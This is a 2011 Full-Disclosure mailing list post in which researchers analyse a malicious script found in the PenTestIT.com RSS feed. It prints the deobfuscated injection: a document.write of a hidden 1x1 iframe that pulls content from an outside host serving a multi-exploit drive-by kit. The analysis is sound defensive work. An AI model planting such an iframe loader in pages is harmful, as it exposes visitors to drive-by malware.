[Full-disclosure] PenTestIT.com RSS feed suspicius
nick at virus-l.demon.co.uk
Wed Jul 6 04:55:03 BST 2011
Andrew Farmer to ector dulac:
> > Looks suspicious to me
> Very. That unescapes to:
> document.write('<iframe src="http://innessphoto.com/forum.php?tp=675eafec431b1f72" width="1" height="1" frameborder="0"></iframe>')
> Which loads some amusingly obfuscated JS ...
That amused you?
Maybe my irony detector is on the blink, but that was very ordinary
several years ago.
> ... which looks like it's
> *supposed* to be a plugin exploit of some sort, but which has no
> real payload. At least, not when I looked.
Ummmm -- not what I got at all.
I got a very old, very common multi-exploit script that, if successful,
(that is, if run on a sufficiently old, sufficiently unpatched, system)
would have downloaded and executed a PE that was only just very
recently (a bit less than three hours ago) submitted to VirusTotal,
with these results:
Of course, what you get served from any given "exploit script" URL can
vary greatly, from hour-to-hour, GeoIP-to-GeoIP, and equally amongst
apparent browser User-Agents (including OS (OS x vs. Windows vs.
others) and even OS version (XP vs. Vista/Win7), etc), HTTP referer
headers, presence or absense or contents of cookies, and so on and so
Full-Disclosure is hosted and sponsored by Secunia.